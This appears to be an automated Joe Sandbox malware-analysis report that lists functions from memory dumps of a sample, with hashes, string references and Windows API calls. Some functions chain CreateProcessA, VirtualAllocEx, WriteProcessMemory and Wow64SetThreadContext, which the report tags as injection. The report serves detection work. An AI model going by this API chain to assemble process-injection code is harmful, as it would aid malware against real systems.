XXtq, xrefs: 075B0D8A
XXtq, xrefs: 075B0E07

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: Tetq$XXtq$XXtq
API String ID: 0-25218438
Opcode ID: 0204eb87f8abad012509095bcb58b98ad0f0ce9bd28fa7975d62e611c45beabb
Instruction ID: 1d5c190374c69a7762a6538603a44522327fb6972d2dafab941857dffae2396b
Opcode Fuzzy Hash: 0204eb87f8abad012509095bcb58b98ad0f0ce9bd28fa7975d62e611c45beabb
Instruction Fuzzy Hash: 304126B06043059FEB345BA49440BFBBBA2AB45241F5889ABD8099F2D2DB36E940C761

Function 08F0F7ED Relevance: 3.1, Strings: 2, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pltq, xrefs: 08F0F957
$tq, xrefs: 08F0FA3E

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: Pltq$$tq
API String ID: 0-3878495711
Opcode ID: 73129bc57be4a0579a834dfcfb3171eeec74e694fc20a7153598275f026ec5af
Instruction ID: 275e9a5bcd63d183d48bd34014b89ca475bb863a8baeebd76954d427a6a0ddee
Opcode Fuzzy Hash: 73129bc57be4a0579a834dfcfb3171eeec74e694fc20a7153598275f026ec5af
Instruction Fuzzy Hash: 30120774B00205CFCB14DF79C994A69BBE2EF88316B1584A9E506CB3A2DB71EC41DF51

Function 075B3F88 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'tq, xrefs: 075B4749
4'tq, xrefs: 075B4739

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq
API String ID: 0-2758119276
Opcode ID: 94c0e6ba2ab86e6c0770a238400ec3f08c9d440347efc4d8ca11a454111c022d
Instruction ID: b2f078514c5c941c754a4017370ee379544bf053c27323e26944d5cbf475e17e
Opcode Fuzzy Hash: 94c0e6ba2ab86e6c0770a238400ec3f08c9d440347efc4d8ca11a454111c022d
Instruction Fuzzy Hash: 6742D5B8E0425DCFEB25CFA9D484AFEB7B2FB49304F10841AD5126B256D734A882CF51

Function 075B4AB0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'tq, xrefs: 075B4F46
4'tq, xrefs: 075B4F56

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq
API String ID: 0-2758119276
Opcode ID: 51a68669bc3d6f125c564a3ac65d56ef7007c6ceb0578ecdbceb3c16203e5094
Instruction ID: f2ecd8229a4776d294500579c99acb70b2c56e761e7023e31cf1497d7c57113e
Opcode Fuzzy Hash: 51a68669bc3d6f125c564a3ac65d56ef7007c6ceb0578ecdbceb3c16203e5094
Instruction Fuzzy Hash: 51F1A1B8D01259DFCB64DFA5E5886ECBBB2FF49315F20842AE406A7356CB355982CF01

Function 08F0DA50 Relevance: 2.7, Strings: 2, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hxq, xrefs: 08F0DBE5
(xq, xrefs: 08F0DB56

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: (xq$Hxq
API String ID: 0-2063367383
Opcode ID: 9db1ea0d1a7ba305b322d2bddf19c3e660a801463098b74d43c73afb1a4a4ffa
Instruction ID: 138f5d04e7686f03574c12ac8808c4affe6ae1cda94451730e9c043dc373c2b0
Opcode Fuzzy Hash: 9db1ea0d1a7ba305b322d2bddf19c3e660a801463098b74d43c73afb1a4a4ffa
Instruction Fuzzy Hash: 8B51BC70B002148FC769AF78D45462E7BA2EFC9316B21456CD506DB3A6DF39EC06CBA1

Function 08F0A318 Relevance: 2.6, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(xq, xrefs: 08F0A44D
Hxq, xrefs: 08F0A479

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: (xq$Hxq
API String ID: 0-2063367383
Opcode ID: 63a117c54b9cd835737b39245f8d747eefcfc8daba62aa4756900b0cdcb5acef
Instruction ID: 374bda302553c9935691b286860ad164988926ab2203d6e1ce1ab641691b2e9c
Opcode Fuzzy Hash: 63a117c54b9cd835737b39245f8d747eefcfc8daba62aa4756900b0cdcb5acef
Instruction Fuzzy Hash: 5C41C071A047608FD3259F3AD44035ABBE2EF84315F108A2DD05A8B7E2EB79D945CF61

Function 075B0DA4 Relevance: 2.5, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XXtq, xrefs: 075B0DC5
XXtq, xrefs: 075B0E07

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: XXtq$XXtq
API String ID: 0-1159665974
Opcode ID: 35227cef6301e216ab3c01bf6b35fec00fa56ad6899959fe3f83cbbac5392f6f
Instruction ID: c9e5cd64cca619d693ad26fbc77159134aafc2645f329b88853bf8d68d0c0722
Opcode Fuzzy Hash: 35227cef6301e216ab3c01bf6b35fec00fa56ad6899959fe3f83cbbac5392f6f
Instruction Fuzzy Hash: 5501D874600108EBEB249794D400FFEBBA2FB88314B608569E8096F3D1CB31DD01CBA1

Function 08F0413A Relevance: 2.5, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-, xrefs: 08F0414B
O, xrefs: 08F040FC

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: -$O
API String ID: 0-3630149894
Opcode ID: 0a30f06b5caeffc64ca5d4b551072a20cb40e6ebfcaebf6786c0eec463367f2d
Instruction ID: 6ae22a7f3cf637c3f043b31c7a30981660d93b5c361e9e377dac4970dfb1d650
Opcode Fuzzy Hash: 0a30f06b5caeffc64ca5d4b551072a20cb40e6ebfcaebf6786c0eec463367f2d
Instruction Fuzzy Hash: 39119674A016188FDB65DF28D954BEABBB1EF4A301F0041E9D05EA73A1DB305E80CF41

Function 088E60B8 Relevance: 1.8, APIs: 1, Instructions: 291
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 088E636F

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7a2075654a55fef0d73085ab8177c957c1b32031628dafa195d7eb87a59ece6e
Instruction ID: b037823324460e9308f13b2238afdb5c69ec19df0b106d12a70b9894d53c4a0c
Opcode Fuzzy Hash: 7a2075654a55fef0d73085ab8177c957c1b32031628dafa195d7eb87a59ece6e
Instruction Fuzzy Hash: 8CB16470D04259CFDB10CFA8C885BEDBBB1BF2A311F149169E858E7281EB748985CF85

Function 08F0EFD8 Relevance: 1.8, Strings: 1, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(_tq, xrefs: 08F0F265

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: (_tq
API String ID: 0-1332988952
Opcode ID: 2fd539ab819147621019cc441b79ec431712f32279618d4ae339326ef908c4e1
Instruction ID: c760d6654df5fb575ec4c6e633766aeb50a90531208606e2b3998729b4f0b121
Opcode Fuzzy Hash: 2fd539ab819147621019cc441b79ec431712f32279618d4ae339326ef908c4e1
Instruction Fuzzy Hash: BE226975A00214DFCB14DFA8D495A6DBBB2FF88311F158069E905AB3A6DB31ED41CFA0

Function 088E6108 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 088E636F

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ad179088a85480fb4e20a402b494b9b3647eac3b2918ff169be95ac8b47a19d5
Instruction ID: 0c44f3c3c46d190178ee918d0ad2f37b1e23b68d52d317a2b72cbcefea91acea
Opcode Fuzzy Hash: ad179088a85480fb4e20a402b494b9b3647eac3b2918ff169be95ac8b47a19d5
Instruction Fuzzy Hash: 47A1F2B0D00219CFDF20CFA9C845BEDBBB1BB6A315F149169E858E7240EB748985CF45

Function 088E69D0 Relevance: 1.6, APIs: 1, Instructions: 133
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 088E6ACA

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6f01739bd6081bd0cc0cf1428263deac2d9d244ce5f4572199368db5cbd6475e
Instruction ID: 8b6c16fc15300c8aa94dabc072b0ab945ba52151f9d507a431f61207a86d1ae9
Opcode Fuzzy Hash: 6f01739bd6081bd0cc0cf1428263deac2d9d244ce5f4572199368db5cbd6475e
Instruction Fuzzy Hash: E14113B5D082889FCF11CFA9D940A9EFFB0EF6A320F14946AE454B7352D734A806CB55

Function 088E6B7B Relevance: 1.6, APIs: 1, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 088E6C53

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: df16f792e4589a8abad4554be9b0f8336fab50f2bd95aa96f43dd73048980bd2
Instruction ID: 61d3b22f08aec39cfbf77261df0a1f96d32305f9aef76821ca8f54994aa63025
Opcode Fuzzy Hash: df16f792e4589a8abad4554be9b0f8336fab50f2bd95aa96f43dd73048980bd2
Instruction Fuzzy Hash: 6141AAB5D012589FCF00CFA9D984AEEFBF1FB59310F14942AE419B7210D735AA45CB64

Function 088E6B80 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 088E6C53

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2c0155fdd14194b11343fb611d0bf9e5c86636eea75218b6c5313bbfbba15cef
Instruction ID: 07ee5d2720a0da07eff137813ebcaa13b4800036dfed4ed08e29dde0197d0c6b
Opcode Fuzzy Hash: 2c0155fdd14194b11343fb611d0bf9e5c86636eea75218b6c5313bbfbba15cef
Instruction Fuzzy Hash: E141AAB4D012589FCF00CFA9D984ADEFBF1FB59310F14942AE419B7200D735AA45CB64

Function 088E6B30 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e425f899707263e84e1962521b21b7e386bd529b3774930c5a9858782c20c30b
Instruction ID: 7e85b86d4ad7384a251e1e30069200fe2b4ab8ef451e793e8763819a878db810
Opcode Fuzzy Hash: e425f899707263e84e1962521b21b7e386bd529b3774930c5a9858782c20c30b
Instruction Fuzzy Hash: 8941ECB5D042588FDF00CFA8D980AEEBBF1BF6A310F24902AE415B7250D7399A45CB64

Function 088E6A20 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 088E6ACA

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1974dbc84a1754d3081066958204db7a35849c3442d1fdde2b8e227aa4b4583e
Instruction ID: 1f7a87d75e7113ee8b694a330caa6099907b747fd5a5b4d77012e50f56c3cab5
Opcode Fuzzy Hash: 1974dbc84a1754d3081066958204db7a35849c3442d1fdde2b8e227aa4b4583e
Instruction Fuzzy Hash: 293186B9D00258DFCF10CFA9D980A9EFBB5FB59320F14A42AE815B7210D735A945CF68

Function 088E706C Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 088E7114

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: cedd52397227fd0b6eca727549d5c48207822517da3bc1e47dafc133054b2564
Instruction ID: 109ac20f46ec790ab8ed9d70b3bd60b126e1fad472b4fab05d6e1a1a26bfb1a8
Opcode Fuzzy Hash: cedd52397227fd0b6eca727549d5c48207822517da3bc1e47dafc133054b2564
Instruction Fuzzy Hash: 1C31B9B4D04258DFCB10DFAAD980AEEFBF1AB49320F14942AE814B7250D779A945CF54

Function 088E64B8 Relevance: 1.6, APIs: 1, Instructions: 100threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 088E656F

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4c3059f3bd5f32748030457806b833ea6b363961b4488da675e231cb23b1cdbb
Instruction ID: ee635d509019840fe917bc1d8c264e9cf66b0376a4017b44c990e15ca5cb6676
Opcode Fuzzy Hash: 4c3059f3bd5f32748030457806b833ea6b363961b4488da675e231cb23b1cdbb
Instruction Fuzzy Hash: 6D41DCB5D002589FDB10CFAAD884AEEFBF4EB59324F24842AE414B7240D778A945CF54

Function 088E7070 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 088E7114

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a6b2b8e0f0c8ae6b57f1f278f5e375b11a933141f46ee8bd3200bc443e9e33b3
Instruction ID: f4aad41f249649178945c19dac5811cd9bfbf2333fd7294555c2b2fc4482dbd7
Opcode Fuzzy Hash: a6b2b8e0f0c8ae6b57f1f278f5e375b11a933141f46ee8bd3200bc443e9e33b3
Instruction Fuzzy Hash: A931AAB5D00258DFCF10DFAAD980AEEFBF5AB49320F14942AE814B7210D775A945CF54

Function 08FCD1F0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 08FCD294

Memory Dump Source

Source File: 0000000F.00000002.1911008025.0000000008FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8fc0000_IV.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8adf63a16b8a80e7aa6b747ada76d29a8d2f183f473ea93fee6ffa0024482120
Instruction ID: 0e4a38f77e3e5089dcd899b90fe6450a5b5677953f741559bfbb519ff8c13942
Opcode Fuzzy Hash: 8adf63a16b8a80e7aa6b747ada76d29a8d2f183f473ea93fee6ffa0024482120
Instruction Fuzzy Hash: F731A8B4D002489FCB10DFA9D980ADEFBF5BB49320F24942AE814B7210D735A9458F68

Function 088E64C0 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 088E656F

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 431d6160e97c4c33a399e9b96d48d284ea07cbae976219bc4ab8c2e88b89dc4f
Instruction ID: 9a65315aec47fb8fc3b56b579ebed37119ac5b2cdd3c6dcf45046dffcff33d23
Opcode Fuzzy Hash: 431d6160e97c4c33a399e9b96d48d284ea07cbae976219bc4ab8c2e88b89dc4f
Instruction Fuzzy Hash: ED31BCB5D002589FCB10CFAAD984AEEFBF1BF59320F14842AE414B7244D779A945CF54

Function 08F0AFA0 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

;,, xrefs: 08F0B283, 08F0B288

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: ;,
API String ID: 0-3931838279
Opcode ID: ead94962ec40693e268a1e4a93595a967066d6633b822767e06df3a26c69b193
Instruction ID: f3a8739f90e303b524c650700f262ae8150d29f348dd85835d9435874792f87e
Opcode Fuzzy Hash: ead94962ec40693e268a1e4a93595a967066d6633b822767e06df3a26c69b193
Instruction Fuzzy Hash: 0CA19D75B012159FCB04DFB8D544AADBBB2EF88312F214069E415AB392DB35DD41DF60

Function 08F0ACB0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

(xq, xrefs: 08F0AD24

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: (xq
API String ID: 0-3100309293
Opcode ID: 93c645824bd25a7ec6c7ac6fd6af0b85431647fdc47717540d6168291500111f
Instruction ID: 2b56254a92a7f5d316c799963029410dee98b6be87353de0bbc1ed28a69aaf85
Opcode Fuzzy Hash: 93c645824bd25a7ec6c7ac6fd6af0b85431647fdc47717540d6168291500111f
Instruction Fuzzy Hash: 1751D275A01626CFCB15CF6CC48496AFBB1FF85321B168699D5199B382D730F852CBD0

Function 04B0A0C0 Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

Tetq, xrefs: 04B0A110

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID: Tetq
API String ID: 0-1197912954
Opcode ID: 848a76851398ec0e2e91fc4f2975fe205466849158aa1ccfe814ac9ad24d3b96
Instruction ID: ca1591498586f54772a56c43ad1f477610ccdefcff0ce624bff056bf9ff3f196
Opcode Fuzzy Hash: 848a76851398ec0e2e91fc4f2975fe205466849158aa1ccfe814ac9ad24d3b96
Instruction Fuzzy Hash: B8513875A14114CFDB14DF69D488B99BBF2FB4C315F1688A4E506AB3A1CB75AC80CF90

Function 08F0A1B0 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

(xq, xrefs: 08F0A200

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: (xq
API String ID: 0-3100309293
Opcode ID: 02c45ee9428fbc50392232d5b1b91724367af520c2f350602b9c22e3d00477e9
Instruction ID: c6432b8ba3eabdc527e8976ee6f65460b228746064150aa352f074754dca7656
Opcode Fuzzy Hash: 02c45ee9428fbc50392232d5b1b91724367af520c2f350602b9c22e3d00477e9
Instruction Fuzzy Hash: B13125317082545FDB059F78E8409AE7FA2EFC9361B15807EE909CB3A2CE318C01DBA0

Function 08FCE7B8 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 08FCE857

Memory Dump Source

Source File: 0000000F.00000002.1911008025.0000000008FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8fc0000_IV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21065bd332483b1cd1985fc6f434165faac1f6ed600a775968f032a902a6c148
Instruction ID: be94076366e61602e1c3727a1b74b79db52a1ffab3c82e840013ee787afe98d8
Opcode Fuzzy Hash: 21065bd332483b1cd1985fc6f434165faac1f6ed600a775968f032a902a6c148
Instruction Fuzzy Hash: 373199B5D01258DFCF10CFAAD980A9EFBB5AB49320F24942AE814B7250D735A9458F94

Function 04B0B610 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

8xq, xrefs: 04B0B66E

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID: 8xq
API String ID: 0-3139237302
Opcode ID: 8954a3885688a557bc588ea1b9ae36ff5e2bed77dd71f2d91de89420cd43bc95
Instruction ID: 88a3be3e22806f8fff7359bfa00c7f27b26af1af7217fb17c16bfc74d023989c
Opcode Fuzzy Hash: 8954a3885688a557bc588ea1b9ae36ff5e2bed77dd71f2d91de89420cd43bc95
Instruction Fuzzy Hash: 4931E571718580CFD305977AE5597687FE6EFC5315F0581AAE146CB2D2CA35A802CB21

Function 08F0E350 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

p<tq, xrefs: 08F0E39A

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: p<tq
API String ID: 0-190553644
Opcode ID: f4c21566fb4aeb0d092487d3a960f5e94e59ba0acf3a943239146f93c41152c0
Instruction ID: ad717e5586cfcca865aef4678795317e1b8168d4a7e5f74d6c50e9fb10a3c8f4
Opcode Fuzzy Hash: f4c21566fb4aeb0d092487d3a960f5e94e59ba0acf3a943239146f93c41152c0
Instruction Fuzzy Hash: 0E216A752042549FCB068F3AC844AAA7FE6BF8A311B1544AAFC45CB3A1C631DC51EF20

Function 08F0E360 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<tq, xrefs: 08F0E39A

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: p<tq
API String ID: 0-190553644
Opcode ID: 7403e31a926becbd10a4f98a6fe9b4f9391881cf35f68c341e134dc38788dc1a
Instruction ID: 0e45afc4403f5d22ee0c2c86bb5c6d89d9e2d55b13aec39d6ce46fbc7ac29697
Opcode Fuzzy Hash: 7403e31a926becbd10a4f98a6fe9b4f9391881cf35f68c341e134dc38788dc1a
Instruction Fuzzy Hash: F82139753042549FCB12CF2EC844AAA7FEAAF89201B1544A9FC44CB3A1CA31DC51EB20

Function 075B1820 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

4'tq, xrefs: 075B18EB

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq
API String ID: 0-257826263
Opcode ID: 4e012633ab865ed8e86f79e2917d746c4f82b2987576cd7f5ecfe379566d918d
Instruction ID: 0b5261bd3e9c932050ed223d49711943df5ba6f6f815a7745c42f4dfb3acc45c
Opcode Fuzzy Hash: 4e012633ab865ed8e86f79e2917d746c4f82b2987576cd7f5ecfe379566d918d
Instruction Fuzzy Hash: E42180F1A04A0ECFEBB08E25C554AF5B7B6FF45261F148167E809D7205D331D840CB92

Function 0A285088 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

i, xrefs: 0A2851B9

Memory Dump Source

Source File: 0000000F.00000002.1912822086.000000000A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_a280000_IV.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: 36d8a9a936289e693ef2eb14d37d69e5ad652adbe2a343f6ca3252e1d4efa628
Instruction ID: baacb0e753c8b72968ce1503da39ca002f81d10af0e5eb1418dcbe807628a62d
Opcode Fuzzy Hash: 36d8a9a936289e693ef2eb14d37d69e5ad652adbe2a343f6ca3252e1d4efa628
Instruction Fuzzy Hash: 0A317274A052699FEBA4DF28D884E99B7F1FB48300F1081E6E81DA7351DB34AE85CF50

Function 075B1674 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

4'tq, xrefs: 075B1739

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq
API String ID: 0-257826263
Opcode ID: 991db94c50d7b355edf7d6bdc08dee7aff3298a2409fca521f5dc3eb77da2fcc
Instruction ID: 3f1392509a6243f6d36fc28c96a9add14fbfd20f50c97153407e3e7520657bc7
Opcode Fuzzy Hash: 991db94c50d7b355edf7d6bdc08dee7aff3298a2409fca521f5dc3eb77da2fcc
Instruction Fuzzy Hash: BB21E7B4B04A4A8FCBB4CF68C4607F97BA2BF85251F1880A7D4048B2A1D735CD55C751

Function 075B3F87 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

4'tq, xrefs: 075B4739

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq
API String ID: 0-257826263
Opcode ID: 0ed15c9caac986ceab325578d573a5b6d0396dd7eb3f2ea031ad2cbb125a6ac2
